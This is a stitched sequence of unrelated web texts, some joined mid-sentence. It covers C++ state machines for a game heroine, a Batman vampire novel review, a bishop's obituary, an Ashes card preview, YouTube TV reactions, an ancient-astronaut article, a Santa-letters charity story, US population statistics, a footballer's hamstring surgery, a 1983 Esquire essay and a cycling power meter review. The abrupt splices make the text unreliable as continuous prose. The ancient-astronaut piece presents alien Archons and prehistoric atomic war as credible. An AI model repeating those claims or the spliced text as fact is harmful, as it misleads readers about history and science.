Add a couple of more weapons and the number of states explodes combinatorially. Not only is it a huge number of states, it’s a huge amount of redundancy: the unarmed and armed states are almost identical except for the little bit of code to handle firing.
The problem is that we’ve jammed two pieces of state — what she’s doing and what she’s carrying — into a single machine. To model all possible combinations, we would need a state for each pair. The fix is obvious: have two separate state machines.
If we want to cram n states for what she’s doing and m states for what she’s carrying into a single machine, we need n × m states. With two machines, it’s just n + m.
We keep our original state machine for what she’s doing and leave it alone. Then we define a separate state machine for what she’s carrying. Heroine will have two “state” references, one for each, like:
class Heroine { // Other code... private: HeroineState * state_ ; HeroineState * equipment_ ; };
For illustrative purposes, we’re using the full State pattern for her equipment. In practice, since it only has two states, a Boolean flag would work too.
When the heroine delegates inputs to the states, she hands it to both of them:
void Heroine :: handleInput ( Input input ) { state_ -> handleInput ( * this, input ); equipment_ -> handleInput ( * this, input ); }
A more full-featured system would probably have a way for one state machine to consume an input so that the other doesn’t receive it. That would prevent both machines from erroneously trying to respond to the same input.
Each state machine can then respond to inputs, spawn behavior, and change its state independently of the other machine. When the two sets of states are mostly unrelated, this works well.
In practice, you’ll find a few cases where the states do interact. For example, maybe she can’t fire while jumping, or maybe she can’t do a dive attack if she’s armed. To handle that, in the code for one state, you’ll probably just do some crude if tests on the other machine’s state to coordinate them. It’s not the most elegant solution, but it gets the job done.
After fleshing out our heroine’s behavior some more, she’ll likely have a bunch of similar states. For example, she |
vampire-stasis) Batman wakes up and butchers the rogues gallery going so far as to string their heads outside of the Gotham penitentiary. This is Batman striking terror in his enemies without any moral qualms – all made necessary because he is now forced to consume blood. The way that this story was continued from Bloodstorm was excellent: Batman's usual foes are taking over the city in his absence, Gordon and Alfred find themselves forced to resurrect the monster and pray he will be the same. But he isn't Bruce anymore, nor is he Batman. Some people have used this as a criticism – but I found it to be what made these stories, on the whole, interesting in the first place. This collection takes Batman's goals and slowly warps them as the novels progress (without reflecting them onto other characters like Scarecrow or Joker) and pushes them back into Batman himself. Overall Crimson Mist does a great job of wrapping up what was started in the first two novels and provides a satisfying conclusion to the series.
3 stars.Reverend Dr Yap Kim Hao, the first Asian bishop of the Methodist Church in Singapore and Malaysia and a vocal advocate for lesbian, gay, bisexual and transgender issues ( LGBT), died of heart failure yesterday morning at the age of 88.
The Free Community Church, where Dr Yap was pastoral adviser, posted a tribute on Facebook. "You have blazed a trail of justice, of compassion, of humility... reaching out to those on the margins... we will build upon your work, to be peacemakers, to be seekers of righteousness and justice," it said.
It included a message from Dr Yap's daughter Susan Tang. "He fought every good fight he could with every fibre of his being. His work on earth is done and he's earned a well-deserved rest," said Mrs Tang.
LGBT rally group Pink Dot acknowledged with gratitude the support Dr Yap had shown towards the community, citing how he had backed a legal challenge that sought to declare as unconstitutional, laws which ban homosexual sex.
Free Community Church Executive Pastor Miak Siew told The Straits Times: "He was the first religious leader to voice support for LGBT people. He discerned that in the time of his retirement, he was called to minister to the lost sheep of the LGBT community - to speak up for the voiceless and the marginalised."
Dr Yap was consecrated the first Asian bishop of the Methodist Church in Singapore and Malaysia in 1968. After retiring from full-time service at 65, he continued to champion many causes, including LGBT issues, although his views on homosexuality did not represent those of the Methodist Church.
He was also the former vice-president of the Inter-Religious Organisation, Singapore. Bishop Terry Kee, vice-president of the National Council of Churches of Singapore, noted that Dr Yap was a keen inter-faith activist who advocated the need to respect religious diversity and engage in dialogue.
In 2014, the Yale-NUS College established the Yap Kim Hao Professorship in Comparative Religious Studies. Dr Yap is survived by his wife, four children, grandchildren and a greatgrandchild. The three-day wake at Mount Vernon Sanctuary starts tomorrow.Ashes
“I strip aside this petty facade so that we might revel in the essence of what is truly you.” - Leo Sunshadow
Ready to be charmed? Good, because today we look at Leo Sunshadow, the most charming of all Phoenixborn. From the bouquet of flowers he summons forth, to the way his personality threatens to control your very thoughts, this Phoenixborn is sure to delight all who see him. And now, for Leo...
The Stats:
Life Value 19: An above average Life Value allows Leo to protect his delicate flowers more often than some other Phoenixborn, but 19 isn't so far above the curve that he can be reckless.
Battlefield Value 6: With a battlefield of 6 Leo will be more adept at leveraging battlefield advantage than many opposing Phoenixborn.
Spellboard Value 3: Running only 3 ready spells can limit the types of strategies you can employ. You'll need to focus your deck's strategy when playing Leo.
Ability: Summon Glow Finch
Just as you'd expect, the Summon Glow Finch ability allows you to... summon a Glow Finch. But before we get into what the Glow Finch does, I'd like to point out that this summoning ability is a bit special
First of all it only costs 1, very cheap and easy to put into play!
Secondly, it only takes a side action! This brings huge versatility to Leo's strategy. You can attack and wait to see if you need to summon the finch to protect yourself, or summon the finch to help protect your units before the attack. Or heck, summon 2 units in one turn to protect yourself from an opponent whose battlefield is swarming with units.
And thirdly, hey, was that a bird?
Don't panic, I'm here to break down what all this guy does for ya.
This glowing dynamo has 4 abilities! The first is Unit Guard, which basically lets the Glow Finch step in the way when an opponent attacks a unit directly.
Similarly, the Decoy ability allows the glow finch to get in the way of a spell, ability, or dice power that is targeting another unit. Guess your opponent just can't ignore this glowing lightning rod!
The next ability discards a card from the top of a player's draw pile (most likely an opponent's) when the finch is destroyed. Just a bit of a deterrent for messing with your stuff. Serves 'em right, eh?
And finally, Magic Rejuvenation allows you to turn an alteration spell attached to the finch into the card Refresh if you're willing to remove that alteration from the game. Handy if you think the opponent wants to mess around with the other units you're trying to protect!
This pint-sized glowing songbird is exactly what you need if you really want to protect your other awesome units, and the conjuration limit of 1 should clue you in to the impact this little guy will have on your game.
Now we come to the final piece of the Leo package. Anguish is the perfect name for this card. Your opponent will definitely feel anguish over the choices he or she must make when you play this card. Or if you can play it at the perfect moment, they will BE in anguish from the results!
Basically, this card forces the opponent to discard a card at random or take 2 damage, and they must allow you to exhaust 2 dice from their active dice pool or take 2 damage.
If you play this card when your opponent has no cards in hand and 1 or fewer dice in their active pool, they just take 4 damage for 2! That's pretty efficient damage!
The Strategy of The Roaring Rose
Leo's deck, The Roaring Rose, specializes in making attacks against you less effective and more costly for your opponent. Through scrappy conjurations and a few dominating presences on your battlefield, The Roaring Rose seeks to make your opponent feel like attacking is a fruitless endeavor. All the while Leo's other spells are ripping cards away from your opponent that could disassemble your wall of anti-aggression. Eventually your opponent will have no options left!
Come back next week to see more cards from Leo's pre-built deck! But first, on Monday (yep I said Monday), Callin Flores is going to present a few cards from Victoria's deck. I'm not sure what he's writing about yet, but maybe it will concern the darkness that surrounds her? Guess you'll have to come back to find out. I know I'm eagerly anticipating his article!
Thanks for reading!
Bob
Click here to pre-order The Duchess of Deception, The Roaring Rose, Ashes dice, and more at the PlaidHatGames.com store! Ashes pre-orders come with a FREE exclusive Phoenixborn; Orrick Gilstream now available with Victoria and Leo orders!
Previous Victoria and Leo Previews:
Victoria Glassfire and Illusionary Cycle
CommentsYesterday’s biggest online video news item concerned YouTube TV, a $35 bundle of more than 40 network and cable TV channels that will be available through YouTube. When it launches, the new service will be YouTube’s biggest foray into the world of traditional TV, and that fact has left some creators wondering how they will be affected. In general, the early creator responses to YouTube TV seem to be positive, though some people have concerns about whether the service represents another step away from the creator-friendly approach on which YouTube is built.
Three of the most detailed responses to the YouTube TV announcement came from Philip DeFranco, Boogie2988, and tech vlogger ThioJoe, all of whom have seven-digit subscriber counts on their respective channels. Those three creators agree that one of YouTube TV’s strongest features will be its unlimited cloud-based DVR, which will be a significant advantage over competing services.
As for the service’s impact on creators, DeFranco is most bullish. He called YouTube TV a “game changer” and argued that the YouTube recommendations woven into it will bring more exposure to up-and-coming creators, particularly within the entertainment category. ThioJoe wondered whether YouTube’s ability to claim TV viewership would “legitimize the rest of online video” and force the old fogeys at the cable companies to pay more attention to digital content. Boogie2988, in his response, hoped for YouTube TV to unite the two audiences in its name to mutual benefit. “It’s possible this could be a way to break down the barrier between television and YouTube, and maybe it will be a bigger audience for everyone involved,” he said.
Boogie, however, is also most concerned about YouTube TV’s potential to cannibalize the viewers who currently watch content shared by the online video community. “The people that watch a lot of YouTube are people that used to watch a lot of television,” he said, “and if you make it easier and more convenient for those people to watch television, they’ll watch less YouTube and return their eyes to mainstream television instead.”
On Twitter, some creators have offered similar concerns to Boogie’s:
Am I being weird or should I be concerned about YouTube adding more competition for YouTubers with YouTube TV — Hike (@HikeTheGamer) March 1, 2017
We’re still at least a couple of months away from YouTube TV’s launch, so there’s still plenty of time to figure out if creators like Boogie — who don’t feel they have the resources to compete with TV studios — should be legitimately troubled. In the meantime, we’ll keep an eye out to see what other commentators have to say about YouTube’s latest toy.By Tai Carmen
“And I looked, and, behold, a stormy wind came out of the north and a great cloud, with brightness round about it, and fire flashing forth continually, and in the midst of the fire, as if it were gleaming bronze.” (Ezekiel, 1:4)
The above painting, “The Baptism of Christ” by Aert de Gelder, was rendered in 1710.
Though religious scholars argue that such UFO-like representations in old works of art (of which there are actually quite a lot) are taken from the Bible’s many references to God’s showy appearance in bright clouds, whirling chariots of fire, whirlwinds and wheels, this protest only highlights the point that representations suggestive of ET presence date back further, and appear more plentifully, than many might imagine.
(Pictured below, Madonna with Saint Giovannino, by Domenico Ghirlandaio, 15th century.)
(Pictured below, “The Annunciation with Saint Emidius” by Carlo Crivelli, 1486)
Ezekiel describes being visited by a“great cloud with raging fire engulfing itself ” (1: 4) from which emerged four living creatures with the “likeness of a man” (1:5), a wheel beside each living creature (vs. 15). “As for their rings, they were so high that they were dreadful; and their rings were full of eyes round about them four(1:18).”
Each creature had “four faces and four wings” and “sparkled like the color of burnished brass.” One had the face of a man, the others, respectively, the face of an eagle, the face of an ox and the face of a lion.
Interestingly, we see similar animal-headed divinities depicted in far older mythologies. For instance, the lion-headed Sekhmet of ancient Egypt:
The bird-headed Horus …
….the bull-headed gods of Ancient India….
…and the Apkallu griffin from ancient Sumerian mythology:
Some Apkallu are depicted as humans with wings …
According to the Babylonian creation myth, these ancient Sumerian gods, known as the Annunaki (translating to “those of royal blood” or “offspring of the prince”) created humankind to serve them by tilling the land, but the humans rebelled and the Annunaki freed them because they were more trouble than they were worth.
According to the Sumerian tablets, which detail the culture’s religious beliefs, the Annunaki were said to have “helpers” which “acted as if alive, but were not.” In other words, by our terms, android/inorganic beings. The picture below are Sumerian artifacts said to depict “servers or helpers of their gods.”
These figures resemble modern day descriptions of “grey aliens” …
As do many ancient petroglyphs, such as the 5000 year old Australian cave wall renditions below:
The description of the Annunaki’s “helpers” sounds a lot like the Archons of the Gnostic Gospels, who were also described as being animated but without true life or spirit, inorganic by our terms. The Archons are said to be silent manipulators of humanity, whispering deceptive suggestions into our unconscious and feeding off the fear and confusion they produce with their psychological warfare.
As one alleged abductee on www.think-aboutit.com relates: “Our emotional adrenaline is like candy, or a drug to them. They can steal this from us by causing us to feel fear, to feel passion, hate, anger…” The same writer wonders if the ancient practice of sacrificing virgins to appease the gods was not perhaps related to this hunger for human energy.
Though admittedly speculative, it would explain an otherwise counterintuitive and weirdly prevalent practice of the archaic world.
Gnostic scholar and author John Lash relates:
“Physical descriptions of Archons occur in several Gnostic codices. Two types are clearly identified: a neonate or embryonic type, and a draconic or reptilian type. Obviously, these descriptions fit the Greys and Reptilians of contemporary reports to a T. Or I should say, to an ET.”
Other figurines of Sumerian deities depict distinctively reptilian types:
These tall, slim beings bare a marked similarity to some Native American petroglyphs (featured below) among whom stands, in this instance, a rather robot-looking individual:
Another Sumerian figurine depicts a very grey alien-like fellow:
The ancient Sumerian tablets known as the Lament of Ur describe an “evil wind” and a “great storm” as being responsible for the destruction of the great city of Ur. Many have wondered whether this does not describe dueling alien factions with advanced weapon technology. Certainly the “storm” described does not sound like your average man-to-man combat of the ancient world:
“Enlil [Lord of the Wind, a chief Sumerian deity] brought Gibil [Lord of Fire] as his aid. He called the great storm of heaven — the people groan. The great storm howls above — the people groan. The storm that annihilates the Land roars below — the people groan. The evil wind, like a rushing torrent, cannot be restrained. It attacks the weapons of the city and completely devours them…
“Alas, storm after storm swept the Land together: the great storm of heaven, the ever-roaring storm, the malicious storm which swept over the Land, the storm which destroyed cities … May that storm, like rain pouring down from heaven, never recur.
David Hatcher Childress, author of Technology of the Gods, suspects ancient atomic warfare, siting, among others, a discovery from 1947 (interestingly, the date of the alleged Roswell UFO crash,) which ran in the New York Herald Tribune:
“When the first atomic bomb exploded in New Mexico, the desert sand turned to fused green glass. This fact, according to the magazine Free World, has given certain archaeologists a turn. They have been digging in the ancient Euphrates Valley and have uncovered a layer of agrarian culture 8,000 years old, and a layer of herdsman culture much older, and a still older caveman culture. Recently, they reached another layer of fused green glass.”
“It is well known,” muses Childress, “that atomic detonations on or above a sandy desert will melt the silicon in the sand and turn the surface of the Earth into a sheet of glass. But if sheets of ancient desert glass can be found in various parts of the world, does it mean that atomic wars were fought in the ancient past?”
Childress adds that geological processes don’t account for the exact nature of these ancient sheets of desert glass:
“Lightning strikes can sometimes fuse sand, meteorologists contend, but this is always in a distinctive root-like pattern. These strange geological oddities are called fulgurites and manifest as branched tubular forms rather than as flat sheets of fused sand. Therefore, lightning is largely ruled out as the cause of such finds by geologists, who prefer to hold onto the theory of a meteor or comet strike as the cause. The problem with this theory is that there is usually no crater associated with these anomalous sheets of glass.”
Ancient Indian literature is rife with references to flying vehicles (called vimanas,) weapons of mass destruction and sophisticated technology.
The following excerpt from the ancient Indian epic, the Mahabharata, details a blast that seems uncannily atomic:
“Gurkha, flying a swift and powerful vimana hurled a single projectile charged with all the power of the Universe. An incandescent column of smoke and flame as bright as the thousand suns rose in all its splendor […] The cloud of smoke rising after its first explosion formed into expanding round circles like the opening of giant parasols…
“It was an unknown weapon, an iron thunderbolt, a gigantic messenger of death, which reduced to ashes the entire race of the Vrishnis [ancient Indian clan with royal/divine bloodlines] and the Andhakas [Hindu demons]…
“The corpses were so burned as to be unrecognizable. The hair and nails fell out; pottery broke without apparent cause, and the birds turned white. After a few hours all foodstuffs were infected…A thick gloom swiftly settled upon the Pandava hosts. All points of the compass were lost in darkness. Fierce wind began to blow upward, showering dust and gravel….
The earth shook, scorched by the terrible violent heat of this weapon. Elephants burst into flame and ran to and fro in a frenzy… over a vast area, other animals crumpled to the ground and died. From all points of the compass the arrows of flame rained continuously and fiercely.”
Could the “fire and brimstone” that God rains down on Sodom and Gemorrah have been a nuclear detonation? Abraham looked toward the city and “lo, the smoke of the country went up as the smoke of a furnace.” (Gen. 19:28)
Interestingly, Genesis also describes a rather speculation-inducing incident, detailing the interbreeding of fallen angels (ETs?) with human women:
“When men began to multiply on earth and daughters were born to them, the sons of God saw how beautiful the daughters of man were, and so they took for their wives as many of them as they chose. […] The Nephilim were on the earth in those days—and also afterward—when the sons of God went to the daughters of men and had children by them. They were the heroes of old, men of renown.” (Genesis 6:1-4)
In The Book of Enoch (an ancient manuscript from Old Testament times, ascribed to Enoch, the great-grandfather of Noah) details the goings on of these fallen angels, called Watchers — as they were sent to “watch over” earth. (Enoch is cross-referenced in the Bible as a 365 year old man who “walked with God,” and afterward “he was not, because God had taken him” (Gen. 5:24).
According to the Book of Enoch, the Nephilim plundered the earth, causing great violence and perversion, at the height of which the great flood was sent to sweep the earth clean.
“The Book of the Watchers” and “The Book of Giants” (From The Book of Enoch) describes this hybrid human-Watcher offspring as giant savages who taught mankind about weaponry, cosmetics, sorcery, astronomy, reading and writing…interventions which displeased God.
This same idea of godly intervention vs non-intervention recurs commonly throughout the world in mythology…perhaps most famously echoed in the tale of Prometheus the titan (interestingly, also a giant), who gave mankind the power of fire, only to be punished by Zeus with the eternal torture.
Many Christians have begun to wonder if ETs are not actually demons, but few have asked the question: were the demons of old ETs to begin with?
Is it a coincidence that satan is described as “the dragon?” Could satan be a symbolic stand-in for reptilians?
Interestingly, the Gnostic Gospels describe a revisionist form of the Garden of Eden story, in which the true creator God is distinguished as distinct and different from the gods who interacted with humanity after their creation, none other than the Archons.
The idea that aliens have been among us since ancient times is known as the ancient astronauts theory. Exhibit A: a 5000 year old suspiciously spaceman-looking figure found in Kiev:
Exhibit B: Astronaut-looking fellows in an Italian cave, dating back to 10,000 BC:
I tend to see epics like the Bible the same way I see the mythologies of all great cultures: stories of our ancestors worth studying for clues to our history and existence, containing truths which may be more allegorical, or, just as possibly, more literal than we allow ourselves to contemplate.
All possibilities should be considered.
From tales of the Sumerian Annunaki to the Gnostic Archons, from the Native American Star People, who came down from the skies to teach their tribes knowledge, to the ancient Egyptian gods who showed the priests astronomy — from the gods of ancient India, who traveled on flying chariots, to the God of the old Testament, who arrived on blazing whirling clouds with rings of eyes….something is going on.
Perhaps the idea of a heavenly war is not so farfetched as many a secular skeptic has believed. As Alison Goddard writes for the Times Higher Education, there have been reports of a series of mysterious explosions in outer space:
“British scientists hope to solve the mystery of gamma bursts soon. When a burst of gamma rays was detected in the sky in 1967, scientists at the Los Alamos laboratory thought that it was due to covert nuclear weapons testing. The discovery was not reported to the world until 1973, by which time many such bursts had been picked up by satellites designed to look for violations of the Nuclear Test Ban Treaty. The data showed that what could have been nuclear explosions turned out to come from outer space. More than 30 years later, gamma ray bursts continue to baffle scientists.”
The experts, in this case, have only theories.
Truth, as they say, is often stranger than fiction and, as science fiction author Arthur C. Clark said, “Any sufficiently advanced technology is indistinguishable from magic.”Jim Glaub and Dylan Parker were getting ready to spend their first Christmas living together in their Manhattan apartment on 22nd Street when their mailbox started filling up with letters addressed to Santa Claus — letters that would lead to a global giving movement.
Having lived in the Chelsea apartment for nearly three years before Parker moved in, Glaub thought nothing of it when that first letter to little St. Nick arrived. He had been warned by the previous tenants that the address had been mistakenly receiving Santa’s mail for at least five years prior.
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“They never answered them because it was only three or four letters a year,” Glaub, 36, tells PEOPLE. “And the first two years I lived there, it was that exact thing. I’d get three letters and I didn’t really think anything of it. I was like, ‘Oh, sorry — wrong number.’ “
Redglass Pictures
But that year was different. It was 2010, and the couple — who have now been married for four years — watched the letters grow with each visit from the mailman.
By the time Christmas rolled around, nearly 450 letters had arrived at their doorstep.
Neither Glaub nor Parker, 35, had any idea why the number of letters had suddenly spiked or how their address was chosen as the East Coast bureau of the North Pole. But there was a common thread in all the letters — they each came from families in need living in their very city.
“These were our neighbors in the Bronx, Queens, Manhattan… these were our people,” Glaub says. “I just felt this need to help them.”
That year, the two set out on a mission to get every letter filled — taking to social media and spreading the word about the letters amongst their family and friends. Seeing the story, filmmaker-friends Sarah Klein and Tom Mason did a short film on the pair and their cause for her production company, Redglass Pictures. It was picked up by The New York Times.
They were able to get 150 letters fulfilled of the 450 they received in 2010. But for the past six years, the letters haven’t stopped. And even though Glaub and Dylan have long since moved out from their apartment rental, they’ve dedicated each holiday season to making sure the families in need who write to Santa have their wishes granted.
Need a little inspiration? Click here to subscribe to the Daily Smile Newsletter for uplifting, feel-good stories that brighten up your inbox.
So far, not a single letter has gone unanswered — with people from all over the country and the world swooping in to help.
Courtesy of Jim Glaub and Dylan Parker
The letters are mostly assigned via word of mouth — though a “Miracle on 22nd Street” Facebook group set up to help manage the distributions has greatly helped, especially since the pair are now living in London. (Glaub is in touch with the apartment’s current tenant each year to help collect the letters, and a friend locally scans each letter for recording.)
“It’s just so strange! It’s caused this global effort!” Glaub, a marketing executive, says. “We’ve had people from Hawaii to Alaska, Germany to London, Nicaragua, Abu Dhabi, Tokyo — all helping. I guess that’s the power of social media. Why would a woman from Abu Dhabi care about some family from Corona, Queens? It’s amazing.”
“I think that suggests we are all looking for that connection to something bigger,” adds Parker.
Courtesy of Jim Glaub and Dylan Parker
The letters range from lighthearted to serious. The majority are handwritten, while others are typed and include playful illustrations. The items requested are practical — winter clothing, toys, blankets and footwear. Occasionally, there’s an ask for a video game console thrown in there. Milk and cookies are often promised to be waiting for Santa on Christmas morning.
One letter in particular has stayed with Glaub over the years. It was from a boy who said he hoped Santa would deliver him a bed. “That was like a punch in the gut,” he recalls.
There’s no rulebook to how one answers each letter. Some participants fulfill all the requests, while others just get what they can. Glaub’s heard stories about in-person bonds formed between families and their letter-answerers. “I have a group of friends who have had their family now for four years or something.” he says. “It’s just nonstop crazy stories.”
This year has brought the couple over 300 letters as of this article’s publication. They have roughly 50 that still need fulfilling.
Courtesy of Jim Glaub and Dylan Parker
On years when there weren’t enough letters to go around, the couple pointed friends to Operation Santa — a project run by the United States Postal Service to help letters written to the man in red get answered.
To this day, Glaub and Parker still don’t know how their Chelsea address was picked. Years ago, they explored patterns and connections in the letters — thinking it may have started in a faculty newsletter or church group. There was also speculation that it could be traced back to The Night Before Christmas author Clement Clarke Moore, whose estate was nearby. He had received letters written to Santa after the publication of his classic poem in the 1800s.
Courtesy of Jim Glaub and Dylan Parker
While the couple understands the curiosity of knowing how this all began, they have stopped asking those questions themselves.
“When I look back, I am most surprised about how skeptical I was and how narrowly focused I was on myself,” Parker, who works in scientific publishing, admits: “Perhaps it’s just from getting older since the project started, but I’ve learned that contributing to something greater than ourselves — even if it is something unknown — leads to far more happiness and sense of purpose than solely focusing on our own desires.”
Courtesy of Jim Glaub and Dylan Parker
He continues: “That’s not exactly a huge revelation, but this optimizes that lesson at a time when people are often the most giving and the most willing to trust that their generosity will help make someone else’s day just a bit better. It requires that we put ourselves second momentarily to help someone unknown to us, and without the usual gratification of seeing the outcome or receiving thanks. The act of giving itself has to be enough.”
One things for sure – as long as letters keep coming, Glaub and Parker will work to get them answered. “Now it’s gotten to the point where we can’t not do it,” Glaub says. “We have to do it. It’s just part of our lives.”
To get involved with Glaub and Parker’s inspiring project, visit the “Miracle on 22nd Street” Facebook group.The U.S. population is growing at the slowest rate since the Great Depression after two decades of robust increases.
For two consecutive years since 2009, the population has grown just 0.7% a year, down from annual increases around 1% in previous years and the lowest since the late 1930s. The U.S. gained 2.2 million people from 2010 to 2011 — fewer than the 2.8 million added a decade earlier — reaching a total of 311.6 million.
"Almost anybody who observes these things over the years can say this is almost all recession-related," says Carl Haub, demographer for the Population Reference Bureau.
The government says the recession ended in June 2009. Although the economy has improved, the downturn's effect on birth and immigration lingers. The number of babies born from July 1, 2010, to July 2011 dropped 200,000 from the same period in 2008-09. The number of additional immigrants fell 150,000.
"It's an indicator of an unhealthy economy," Haub says. "People are obviously still delaying births, and immigration has continued to drop because job opportunities are not there."
The U.S. fertility rate — which has been close to the replacement level of 2.1 children per woman in contrast to many developed nations that are well below that level — now is estimated to have fallen to 1.9, says demographer Joseph Chamie, former director of the United Nations Population Division and more recently research director at the Center for Migration Studies.
Demographers expect population growth to pick up when the economy rebounds fully, but a bounce-back in births is likely to lag.
"Many — but likely not all — of the postponed births can be expected to be made up," Chamie says. "Even with the slight current downturn in births, the U.S. population will very likely reach 400 million midcentury."
For much of the nation's history, a booming population symbolized economic vitality and growing influence in the world. But environmental groups have questioned how many more people the nation can support, fueling a push for "sustainable" communities that encourage conserving green space and relying less on autos.
"Population does not necessarily equal economic growth anymore," says Bill Fulton, vice president for policies and programs at Smart Growth America, a coalition of environmentalists, planners and others working to slow sprawl.
He points to Las Vegas' population boom, which created low-paying jobs that disappeared when the housing market collapsed. By contrast, he says, cities such as Pittsburgh lost population but household wealth went up.
"We're still talking about adding a lot of people," Fulton says. "We know we can't environmentally sustain those people living in sprawled locations. … Local governments are not going to be able to afford sprawl anymore."Aaron Sandilands will undergo hamstring surgery similar to that which Nick Riewoldt had in 2010
FREMANTLE ruckman Aaron Sandilands will undergo surgery on his injured left hamstring and is expected to miss between eight to 12 weeks.
Sandilands met with prominent surgeon Dr Julian Feller in Melbourne late on Monday afternoon to determine what course of recovery was necessary.
After that consultation the club announced that surgery was the best option available to repair the injury.
Fremantle's general manager of football operations Chris Bond said that although the news was very disappointing for the 30-year-old, it was possible that with an appropriate period of recovery and structured rehabilitation he could be available for selection midway through the season.
However until surgery took place Bond said it was difficult to name a likely return date for the three-time All Australian.
"At this stage we will have to wait until after his surgery and the recovery phase before we can be more specific about when Aaron will be available for selection," Bond said.
Sandilands hurt his left hamstring in round one of the NAB Cup. He has battled injury for the past two seasons playing 27 of a possible 46 games.
Speaking on radio 6PR after hearing the news Fremantle coach Ross Lyon was upbeat and said the prognosis was that the injury was the minor end of the scale.
Lyon said Sandilands had a slight split in the tendon and his injury was not the same as a more severe hamstring injury suffered by Saints skipper Nick Riewoldt in 2010.
"We think it's more likely eight weeks [on the sidelines] unless they got in there and it was something different to what they were thinking, but that is highly unlikely so it's really at the minor end," Lyon said.
"[There's] been a lot of doomsayers out there saying it is the end of his career … this is quite minor and he'll be able to condition really well and play a huge part for us."
Sandilands was All Australian between 2008-2010 and won the club best and fairest in 2009.
In 2012, Sandilands was injured in round 11 and missed rounds 13-20. He returned in round 21 from a toe injury and played the last five games of the year, which included two finals.Originally published in the September 1983 edition of Esquire. Reprinted here with the author's permission.
The old man was hurt at Pearl Harbor and moved to Florida to mend after they processed him out of the service. He's been there, and in his wheelchair, ever since. Forty-two years. He lives in Miramar now, just across the line in Broward County and drives down every morning when the Miami Dolphins practice. It's 10:30 in the morning, the first Monday in May, the first day of spring practice. "This place keeps me alive," he says. He moves the chair down the sidewalk, pulling himself along with his feet. The sidewalk ends a few yards from the field, and he pushes with his hands to get over a bump at the gate and then finds a place on the 40-yard line to watch. Out on the field, 60 or 70 football players are lying on their back, one leg bent under them and flattened sideways, the other one straight out in front. If you found somebody that way on the street in the city there'd be six winos standing over the body, all telling each other not to move him.
On signal, the players all lean forward and press their faces into their outstretched knee. Then they reverse the legs and press their faces into the other knee.
While the players stretch, six or seven men in sun visors and ventilated shirts walk among them, frowning and smiling, saying, "Stretch it out, Bob," or "Stretch it out, Jim." Coaches. Nobody knows, of course, why coaches smile when they smile, or even what it means when they smile. Breaking something you don't need to play football will do it—a nose, for instance. Remembering a broken nose will do it too. As a rule, terrible weather will do it, but a great catch won't. A great tackle sometimes will, especially if the tackler can't quite put his finger on who he is afterward. You don't have to know where you were born to play football; you find out what you are as you do it.
For a long time I used to think coaches smiled because something had reminded them of the old days, when they made tackles and forgot who they were, or broke noses of their own. I thought somehow it must have been more fun in the old days, and that coaches were tougher than the people who came along after them.
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Sometimes that happens to be true; mostly it isn't. Most coaches, it turns out, were mediocre college players, if they played in college at all. A lot of them lost their taste for hitting after they got out of high school and found themselves on a field where everybody could hit back. And for a lot of them, their senior year in high school was as good as it ever got, the only real shot at fame and pussy they ever had. They had coaches then who told them it would last forever, and advised them to put off the girls till later. The ones who believed that became coaches themselves.
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discussion and debate than the Stages power meter. It was previously named “StageOne”, but has since simply been renamed to Stages Power. The unit attracted attention for two reasons, first was the low $699 price point – and second, was the fact that it only measured on the left leg.
Stages Cyclinghas provided me a trial unit test out. Since installing it on my bike I’ve been using it near-daily, mostly with various beta firmware drops, but more recently in pretty-close-to-final (if not final) firmware versions. In doing so, I’ve got a pretty good grasp on how the unit works, as well as all the inside and out details. Because I want to be transparent about my reviews, once my evaluation period with the Stages PM has elapsed, I will send the crank-arm back to them in Boulder, Colorado. Simple as that. Sorta like hiking in wilderness trails – leave only footprints.
Lastly, at the end of the day keep in mind I’m just like any other regular triathlete out there. I write these reviews because I’m inherently a curious person with a technology background (my day job), and thus I try and be as complete as I can. But, if I’ve missed something or if you spot something that doesn’t quite jive – just let me know and I’ll be happy to get it all sorted out. Also, because the technology world constantly changes, I try and go back and update these reviews as new features and functionality are added – or if bugs are fixed.
Cut To The Chase Summary:
(As part of the survey last week, some of you expressed an interest in a cliff notes version of the review at the beginning of the review in addition to full review. We’ll see what you think.)
This is the executive summary version of the review. It doesn’t cover all the detail that the few thousand other words and hundred plus photos do, but it gives you the quick version. As always, there’s substantial detail (especially around pros and cons) in the full review, and as is usually the case in all products – the devil is in the details (both good and bad).
Overview: The Stages Power Meter (no longer called StageOne) is a left-crank arm based power meter that measures your left leg power and doubles it to determine total power. It does this by attaching a pod to the crank arm of an approved crank. These approved cranks must be purchased from Stages, due to the attachment/baking/curing process of adding the pod to the crank arm. The pod adds 20g of weight – which is the same weight as a Kraft American Cheese Singles slice. The crank prices start at $699, which is a bit below other hub-based systems out on the market today. They have a slew of crank arms on the market today, though are missing notables like ROTOR cranks. In general, they’d prefer to partner with everyone and their cousins, but it’s up to the crank arm company to ‘approve’ of the solution. Stages won’t offer a pod for a crank unless the crank-arm company is willing to still ensure the system is certified and supported. While some would prefer Stages simply add pods to both crank arms, that would more than double the cost (the drive side crank-arm is much trickier due to space limitations), and, they aren’t terribly interested in being another $2,000 power meter product.
Technology: In addition to power, the unit transmits cadence, which is your measured revolutions per minute. It does this via accelerometers within the unit, there are no magnets required. The unit is unique in that it’s the first non-trainer power meter on the market to include BOTH Bluetooth Smart and ANT+ in it. This is also noted on the small pod attached to the unit, with both the Bluetooth Smart and ANT+ logo. This means it’s backwards compatible with ANT+ cycling computers like Garmin units and other manufacturer units. The Bluetooth Smart side means it’s compatible with Bluetooth 4.0 phones such as the iPhone 4s/5 and some Android phones. Though, at present there are no Android phone apps that would support this due to lack of API to access the Bluetooth Smart power meter device profile. Same goes for Windows Phone and Blackberry. In time, those will come. On the Mac side, Trainer Road supports it today, and you’ll see a few other apps come for Mac and PC in the coming weeks and months.
Setup: Installation is without question the fastest power meter I’ve ever installed. I’m confident my Mom could install this on her bike. It will take a torque wrench to complete properly however. I wouldn’t risk doing it otherwise, simply because if you hose up the torque values you’ll likely break something. Over torque means it might crack a component. And under torque means it could fall off, breaking you. Installation can be done in about five minutes tops. Calibration for the unit merely involves holding the crank-arm either up or down vertical, and then leaving it alone for a second.
Day to day use: From this standpoint, it acts just like any other left crank, and operates just like any other power meter. It transmits standard ANT+ and BLE power meter values, which complies with all head units out there (of each type). So the limitations from a display standpoint are the same as any other power meter. I found the accelerometer-based cadence impressive from an accuracy standpoint, more than reliable enough for any cadence focused training or racing you may be doing. The pod is waterproofed to IPX7 standards, and thus can hang out in a puddle of water 3 feet deep (1-meter) for up to 30 minutes. I’d suggest if your bike is underwater for 30 minutes, something has gone horribly wrong. There’s no issues with temperature drift, as the unit includes temperature compensation which is dynamic based on the rate of temperature change.
Accuracy Testing:
